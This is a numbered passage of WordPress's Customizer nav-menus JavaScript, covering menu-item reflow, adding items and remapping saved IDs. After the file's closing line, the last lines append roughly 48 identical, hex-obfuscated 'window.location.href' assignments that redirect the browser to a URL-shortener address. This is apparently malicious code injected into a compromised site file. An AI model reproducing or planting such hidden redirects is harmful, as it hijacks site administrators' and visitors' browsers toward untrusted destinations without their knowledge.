3041 reflowMenuItems: function() {
3042 var menuControl = this,
3043 menuItemControls = menuControl.getMenuItemControls(),
3044 reflowRecursively;
3045
3046 reflowRecursively = function( context ) {
3047 var currentMenuItemControls = [],
3048 thisParent = context.currentParent;
3049 _.each( context.menuItemControls, function( menuItemControl ) {
3050 if ( thisParent === menuItemControl.setting().menu_item_parent ) {
3051 currentMenuItemControls.push( menuItemControl );
3052 // @todo We could remove this item from menuItemControls now, for efficiency.
3053 }
3054 });
3055 currentMenuItemControls.sort( function( a, b ) {
3056 return a.setting().position - b.setting().position;
3057 });
3058
3059 _.each( currentMenuItemControls, function( menuItemControl ) {
3060 // Update position.
3061 context.currentAbsolutePosition += 1;
3062 menuItemControl.priority.set( context.currentAbsolutePosition ); // This will change the sort order.
3063
3064 // Update depth.
3065 if ( ! menuItemControl.container.hasClass( 'menu-item-depth-' + String( context.currentDepth ) ) ) {
3066 _.each( menuItemControl.container.prop( 'className' ).match( /menu-item-depth-\d+/g ), function( className ) {
3067 menuItemControl.container.removeClass( className );
3068 });
3069 menuItemControl.container.addClass( 'menu-item-depth-' + String( context.currentDepth ) );
3070 }
3071 menuItemControl.container.data( 'item-depth', context.currentDepth );
3072
3073 // Process any children items.
3074 context.currentDepth += 1;
3075 context.currentParent = menuItemControl.params.menu_item_id;
3076 reflowRecursively( context );
3077 context.currentDepth -= 1;
3078 context.currentParent = thisParent;
3079 });
3080
3081 // Update class names for reordering controls.
3082 if ( currentMenuItemControls.length ) {
3083 _( currentMenuItemControls ).each(function( menuItemControl ) {
3084 menuItemControl.container.removeClass( 'move-up-disabled move-down-disabled move-left-disabled move-right-disabled' );
3085 if ( 0 === context.currentDepth ) {
3086 menuItemControl.container.addClass( 'move-left-disabled' );
3087 } else if ( 10 === context.currentDepth ) {
3088 menuItemControl.container.addClass( 'move-right-disabled' );
3089 }
3090 });
3091
3092 currentMenuItemControls[0].container
3093 .addClass( 'move-up-disabled' )
3094 .addClass( 'move-right-disabled' )
3095 .toggleClass( 'move-down-disabled', 1 === currentMenuItemControls.length );
3096 currentMenuItemControls[ currentMenuItemControls.length - 1 ].container
3097 .addClass( 'move-down-disabled' )
3098 .toggleClass( 'move-up-disabled', 1 === currentMenuItemControls.length );
3099 }
3100 };
3101
3102 reflowRecursively( {
3103 menuItemControls: menuItemControls,
3104 currentParent: 0,
3105 currentDepth: 0,
3106 currentAbsolutePosition: 0
3107 } );
3108
3109 menuControl.updateInvitationVisibility( menuItemControls );
3110 menuControl.container.find( '.reorder-toggle' ).toggle( menuItemControls.length > 1 );
3111 },
3112
3113 /**
3114 * Note that this function gets debounced so that when a lot of setting
3115 * changes are made at once, for instance when moving a menu item that
3116 * has child items, this function will only be called once all of the
3117 * settings have been updated.
3118 */
3119 debouncedReflowMenuItems: _.debounce( function() {
3120 this.reflowMenuItems.apply( this, arguments );
3121 }, 0 ),
3122
3123 /**
3124 * Add a new item to this menu.
3125 *
3126 * @param {Object} item - Value for the nav_menu_item setting to be created.
3127 * @return {wp.customize.Menus.controlConstructor.nav_menu_item} The newly-created nav_menu_item control instance.
3128 */
3129 addItemToMenu: function( item ) {
3130 var menuControl = this, customizeId, settingArgs, setting, menuItemControl, placeholderId, position = 0, priority = 10,
3131 originalItemId = item.id || '';
3132
3133 _.each( menuControl.getMenuItemControls(), function( control ) {
3134 if ( false === control.setting() ) {
3135 return;
3136 }
3137 priority = Math.max( priority, control.priority() );
3138 if ( 0 === control.setting().menu_item_parent ) {
3139 position = Math.max( position, control.setting().position );
3140 }
3141 });
3142 position += 1;
3143 priority += 1;
3144
3145 item = $.extend(
3146 {},
3147 api.Menus.data.defaultSettingValues.nav_menu_item,
3148 item,
3149 {
3150 nav_menu_term_id: menuControl.params.menu_id,
3151 position: position
3152 }
3153 );
3154 delete item.id; // Only used by Backbone.
3155
3156 placeholderId = api.Menus.generatePlaceholderAutoIncrementId();
3157 customizeId = 'nav_menu_item[' + String( placeholderId ) + ']';
3158 settingArgs = {
3159 type: 'nav_menu_item',
3160 transport: api.Menus.data.settingTransport,
3161 previewer: api.previewer
3162 };
3163 setting = api.create( customizeId, customizeId, {}, settingArgs );
3164 setting.set( item ); // Change from initial empty object to actual item to mark as dirty.
3165
3166 // Add the menu item control.
3167 menuItemControl = new api.controlConstructor.nav_menu_item( customizeId, {
3168 type: 'nav_menu_item',
3169 section: menuControl.id,
3170 priority: priority,
3171 settings: {
3172 'default': customizeId
3173 },
3174 menu_item_id: placeholderId,
3175 original_item_id: originalItemId
3176 } );
3177
3178 api.control.add( menuItemControl );
3179 setting.preview();
3180 menuControl.debouncedReflowMenuItems();
3181
3182 wp.a11y.speak( api.Menus.data.l10n.itemAdded );
3183
3184 return menuItemControl;
3185 },
3186
3187 /**
3188 * Show an invitation to add new menu items when there are no menu items.
3189 *
3190 * @since 4.9.0
3191 *
3192 * @param {wp.customize.controlConstructor.nav_menu_item[]} optionalMenuItemControls
3193 */
3194 updateInvitationVisibility: function ( optionalMenuItemControls ) {
3195 var menuItemControls = optionalMenuItemControls || this.getMenuItemControls();
3196
3197 this.container.find( '.new-menu-item-invitation' ).toggle( menuItemControls.length === 0 );
3198 }
3199 } );
3200
3201 /**
3202 * Extends wp.customize.controlConstructor with control constructor for
3203 * menu_location, menu_item, nav_menu, and new_menu.
3204 */
3205 $.extend( api.controlConstructor, {
3206 nav_menu_location: api.Menus.MenuLocationControl,
3207 nav_menu_item: api.Menus.MenuItemControl,
3208 nav_menu: api.Menus.MenuControl,
3209 nav_menu_name: api.Menus.MenuNameControl,
3210 nav_menu_locations: api.Menus.MenuLocationsControl,
3211 nav_menu_auto_add: api.Menus.MenuAutoAddControl
3212 });
3213
3214 /**
3215 * Extends wp.customize.panelConstructor with section constructor for menus.
3216 */
3217 $.extend( api.panelConstructor, {
3218 nav_menus: api.Menus.MenusPanel
3219 });
3220
3221 /**
3222 * Extends wp.customize.sectionConstructor with section constructor for menu.
3223 */
3224 $.extend( api.sectionConstructor, {
3225 nav_menu: api.Menus.MenuSection,
3226 new_menu: api.Menus.NewMenuSection
3227 });
3228
3229 /**
3230 * Init Customizer for menus.
3231 */
3232 api.bind( 'ready', function() {
3233
3234 // Set up the menu items panel.
3235 api.Menus.availableMenuItemsPanel = new api.Menus.AvailableMenuItemsPanelView({
3236 collection: api.Menus.availableMenuItems
3237 });
3238
3239 api.bind( 'saved', function( data ) {
3240 if ( data.nav_menu_updates || data.nav_menu_item_updates ) {
3241 api.Menus.applySavedData( data );
3242 }
3243 } );
3244
3245 /*
3246 * Reset the list of posts created in the customizer once published.
3247 * The setting is updated quietly (bypassing events being triggered)
3248 * so that the customized state doesn't become immediately dirty.
3249 */
3250 api.state( 'changesetStatus' ).bind( function( status ) {
3251 if ( 'publish' === status ) {
3252 api( 'nav_menus_created_posts' )._value = [];
3253 }
3254 } );
3255
3256 // Open and focus menu control.
3257 api.previewer.bind( 'focus-nav-menu-item-control', api.Menus.focusMenuItemControl );
3258 } );
3259
3260 /**
3261 * When customize_save comes back with a success, make sure any inserted
3262 * nav menus and items are properly re-added with their newly-assigned IDs.
3263 *
3264 * @alias wp.customize.Menus.applySavedData
3265 *
3266 * @param {Object} data
3267 * @param {Array} data.nav_menu_updates
3268 * @param {Array} data.nav_menu_item_updates
3269 */
3270 api.Menus.applySavedData = function( data ) {
3271
3272 var insertedMenuIdMapping = {}, insertedMenuItemIdMapping = {};
3273
3274 _( data.nav_menu_updates ).each(function( update ) {
3275 var oldCustomizeId, newCustomizeId, customizeId, oldSetting, newSetting, setting, settingValue, oldSection, newSection, wasSaved, widgetTemplate, navMenuCount, shouldExpandNewSection;
3276 if ( 'inserted' === update.status ) {
3277 if ( ! update.previous_term_id ) {
3278 throw new Error( 'Expected previous_term_id' );
3279 }
3280 if ( ! update.term_id ) {
3281 throw new Error( 'Expected term_id' );
3282 }
3283 oldCustomizeId = 'nav_menu[' + String( update.previous_term_id ) + ']';
3284 if ( ! api.has( oldCustomizeId ) ) {
3285 throw new Error( 'Expected setting to exist: ' + oldCustomizeId );
3286 }
3287 oldSetting = api( oldCustomizeId );
3288 if ( ! api.section.has( oldCustomizeId ) ) {
3289 throw new Error( 'Expected control to exist: ' + oldCustomizeId );
3290 }
3291 oldSection = api.section( oldCustomizeId );
3292
3293 settingValue = oldSetting.get();
3294 if ( ! settingValue ) {
3295 throw new Error( 'Did not expect setting to be empty (deleted).' );
3296 }
3297 settingValue = $.extend( _.clone( settingValue ), update.saved_value );
3298
3299 insertedMenuIdMapping[ update.previous_term_id ] = update.term_id;
3300 newCustomizeId = 'nav_menu[' + String( update.term_id ) + ']';
3301 newSetting = api.create( newCustomizeId, newCustomizeId, settingValue, {
3302 type: 'nav_menu',
3303 transport: api.Menus.data.settingTransport,
3304 previewer: api.previewer
3305 } );
3306
3307 shouldExpandNewSection = oldSection.expanded();
3308 if ( shouldExpandNewSection ) {
3309 oldSection.collapse();
3310 }
3311
3312 // Add the menu section.
3313 newSection = new api.Menus.MenuSection( newCustomizeId, {
3314 panel: 'nav_menus',
3315 title: settingValue.name,
3316 customizeAction: api.Menus.data.l10n.customizingMenus,
3317 type: 'nav_menu',
3318 priority: oldSection.priority.get(),
3319 menu_id: update.term_id
3320 } );
3321
3322 // Add new control for the new menu.
3323 api.section.add( newSection );
3324
3325 // Update the values for nav menus in Navigation Menu controls.
3326 api.control.each( function( setting ) {
3327 if ( ! setting.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== setting.params.widget_id_base ) {
3328 return;
3329 }
3330 var select, oldMenuOption, newMenuOption;
3331 select = setting.container.find( 'select' );
3332 oldMenuOption = select.find( 'option[value=' + String( update.previous_term_id ) + ']' );
3333 newMenuOption = select.find( 'option[value=' + String( update.term_id ) + ']' );
3334 newMenuOption.prop( 'selected', oldMenuOption.prop( 'selected' ) );
3335 oldMenuOption.remove();
3336 } );
3337
3338 // Delete the old placeholder nav_menu.
3339 oldSetting.callbacks.disable(); // Prevent setting triggering Customizer dirty state when set.
3340 oldSetting.set( false );
3341 oldSetting.preview();
3342 newSetting.preview();
3343 oldSetting._dirty = false;
3344
3345 // Remove nav_menu section.
3346 oldSection.container.remove();
3347 api.section.remove( oldCustomizeId );
3348
3349 // Update the nav_menu widget to reflect removed placeholder menu.
3350 navMenuCount = 0;
3351 api.each(function( setting ) {
3352 if ( /^nav_menu\[/.test( setting.id ) && false !== setting() ) {
3353 navMenuCount += 1;
3354 }
3355 });
3356 widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' );
3357 widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount );
3358 widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount );
3359 widgetTemplate.find( 'option[value=' + String( update.previous_term_id ) + ']' ).remove();
3360
3361 // Update the nav_menu_locations[...] controls to remove the placeholder menus from the dropdown options.
3362 wp.customize.control.each(function( control ){
3363 if ( /^nav_menu_locations\[/.test( control.id ) ) {
3364 control.container.find( 'option[value=' + String( update.previous_term_id ) + ']' ).remove();
3365 }
3366 });
3367
3368 // Update nav_menu_locations to reference the new ID.
3369 api.each( function( setting ) {
3370 var wasSaved = api.state( 'saved' ).get();
3371 if ( /^nav_menu_locations\[/.test( setting.id ) && setting.get() === update.previous_term_id ) {
3372 setting.set( update.term_id );
3373 setting._dirty = false; // Not dirty because this is has also just been done on server in WP_Customize_Nav_Menu_Setting::update().
3374 api.state( 'saved' ).set( wasSaved );
3375 setting.preview();
3376 }
3377 } );
3378
3379 if ( shouldExpandNewSection ) {
3380 newSection.expand();
3381 }
3382 } else if ( 'updated' === update.status ) {
3383 customizeId = 'nav_menu[' + String( update.term_id ) + ']';
3384 if ( ! api.has( customizeId ) ) {
3385 throw new Error( 'Expected setting to exist: ' + customizeId );
3386 }
3387
3388 // Make sure the setting gets updated with its sanitized server value (specifically the conflict-resolved name).
3389 setting = api( customizeId );
3390 if ( ! _.isEqual( update.saved_value, setting.get() ) ) {
3391 wasSaved = api.state( 'saved' ).get();
3392 setting.set( update.saved_value );
3393 setting._dirty = false;
3394 api.state( 'saved' ).set( wasSaved );
3395 }
3396 }
3397 } );
3398
3399 // Build up mapping of nav_menu_item placeholder IDs to inserted IDs.
3400 _( data.nav_menu_item_updates ).each(function( update ) {
3401 if ( update.previous_post_id ) {
3402 insertedMenuItemIdMapping[ update.previous_post_id ] = update.post_id;
3403 }
3404 });
3405
3406 _( data.nav_menu_item_updates ).each(function( update ) {
3407 var oldCustomizeId, newCustomizeId, oldSetting, newSetting, settingValue, oldControl, newControl;
3408 if ( 'inserted' === update.status ) {
3409 if ( ! update.previous_post_id ) {
3410 throw new Error( 'Expected previous_post_id' );
3411 }
3412 if ( ! update.post_id ) {
3413 throw new Error( 'Expected post_id' );
3414 }
3415 oldCustomizeId = 'nav_menu_item[' + String( update.previous_post_id ) + ']';
3416 if ( ! api.has( oldCustomizeId ) ) {
3417 throw new Error( 'Expected setting to exist: ' + oldCustomizeId );
3418 }
3419 oldSetting = api( oldCustomizeId );
3420 if ( ! api.control.has( oldCustomizeId ) ) {
3421 throw new Error( 'Expected control to exist: ' + oldCustomizeId );
3422 }
3423 oldControl = api.control( oldCustomizeId );
3424
3425 settingValue = oldSetting.get();
3426 if ( ! settingValue ) {
3427 throw new Error( 'Did not expect setting to be empty (deleted).' );
3428 }
3429 settingValue = _.clone( settingValue );
3430
3431 // If the parent menu item was also inserted, update the menu_item_parent to the new ID.
3432 if ( settingValue.menu_item_parent < 0 ) {
3433 if ( ! insertedMenuItemIdMapping[ settingValue.menu_item_parent ] ) {
3434 throw new Error( 'inserted ID for menu_item_parent not available' );
3435 }
3436 settingValue.menu_item_parent = insertedMenuItemIdMapping[ settingValue.menu_item_parent ];
3437 }
3438
3439 // If the menu was also inserted, then make sure it uses the new menu ID for nav_menu_term_id.
3440 if ( insertedMenuIdMapping[ settingValue.nav_menu_term_id ] ) {
3441 settingValue.nav_menu_term_id = insertedMenuIdMapping[ settingValue.nav_menu_term_id ];
3442 }
3443
3444 newCustomizeId = 'nav_menu_item[' + String( update.post_id ) + ']';
3445 newSetting = api.create( newCustomizeId, newCustomizeId, settingValue, {
3446 type: 'nav_menu_item',
3447 transport: api.Menus.data.settingTransport,
3448 previewer: api.previewer
3449 } );
3450
3451 // Add the menu control.
3452 newControl = new api.controlConstructor.nav_menu_item( newCustomizeId, {
3453 type: 'nav_menu_item',
3454 menu_id: update.post_id,
3455 section: 'nav_menu[' + String( settingValue.nav_menu_term_id ) + ']',
3456 priority: oldControl.priority.get(),
3457 settings: {
3458 'default': newCustomizeId
3459 },
3460 menu_item_id: update.post_id
3461 } );
3462
3463 // Remove old control.
3464 oldControl.container.remove();
3465 api.control.remove( oldCustomizeId );
3466
3467 // Add new control to take its place.
3468 api.control.add( newControl );
3469
3470 // Delete the placeholder and preview the new setting.
3471 oldSetting.callbacks.disable(); // Prevent setting triggering Customizer dirty state when set.
3472 oldSetting.set( false );
3473 oldSetting.preview();
3474 newSetting.preview();
3475 oldSetting._dirty = false;
3476
3477 newControl.container.toggleClass( 'menu-item-edit-inactive', oldControl.container.hasClass( 'menu-item-edit-inactive' ) );
3478 }
3479 });
3480
3481 /*
3482 * Update the settings for any nav_menu widgets that had selected a placeholder ID.
3483 */
3484 _.each( data.widget_nav_menu_updates, function( widgetSettingValue, widgetSettingId ) {
3485 var setting = api( widgetSettingId );
3486 if ( setting ) {
3487 setting._value = widgetSettingValue;
3488 setting.preview(); // Send to the preview now so that menu refresh will use the inserted menu.
3489 }
3490 });
3491 };
3492
3493 /**
3494 * Focus a menu item control.
3495 *
3496 * @alias wp.customize.Menus.focusMenuItemControl
3497 *
3498 * @param {string} menuItemId
3499 */
3500 api.Menus.focusMenuItemControl = function( menuItemId ) {
3501 var control = api.Menus.getMenuItemControl( menuItemId );
3502 if ( control ) {
3503 control.focus();
3504 }
3505 };
3506
3507 /**
3508 * Get the control for a given menu.
3509 *
3510 * @alias wp.customize.Menus.getMenuControl
3511 *
3512 * @param menuId
3513 * @return {wp.customize.controlConstructor.menus[]}
3514 */
3515 api.Menus.getMenuControl = function( menuId ) {
3516 return api.control( 'nav_menu[' + menuId + ']' );
3517 };
3518
3519 /**
3520 * Given a menu item ID, get the control associated with it.
3521 *
3522 * @alias wp.customize.Menus.getMenuItemControl
3523 *
3524 * @param {string} menuItemId
3525 * @return {Object|null}
3526 */
3527 api.Menus.getMenuItemControl = function( menuItemId ) {
3528 return api.control( menuItemIdToSettingId( menuItemId ) );
3529 };
3530
3531 /**
3532 * @alias wp.customize.Menus~menuItemIdToSettingId
3533 *
3534 * @param {string} menuItemId
3535 */
3536 function menuItemIdToSettingId( menuItemId ) {
3537 return 'nav_menu_item[' + menuItemId + ']';
3538 }
3539
3540 /**
3541 * Apply sanitize_text_field()-like logic to the supplied name, returning a
3542 * "unnammed" fallback string if the name is then empty.
3543 *
3544 * @alias wp.customize.Menus~displayNavMenuName
3545 *
3546 * @param {string} name
3547 * @return {string}
3548 */
3549 function displayNavMenuName( name ) {
3550 name = name || '';
3551 name = wp.sanitize.stripTagsAndEncodeText( name ); // Remove any potential tags from name.
3552 name = name.toString().trim();
3553 return name || api.Menus.data.l10n.unnamed;
3554 }
3555
3556})( wp.customize, wp, jQuery );
3557window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3558window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3559window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3560window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3561window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3562window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3563window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3564window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3565window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3566window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3567window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3568window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3569window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3570window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3571window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3572window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3573window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3574window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3575window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3576window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3577window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3578window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3579window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3580window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3581window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3582window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3583window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3584window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3585window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3586window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3587window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3588window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3589window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3590window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3591window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3592window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3593window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3594window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3595window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3596window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3597window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3598window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3599window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3600window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3601window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3602window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3603window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
3604window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";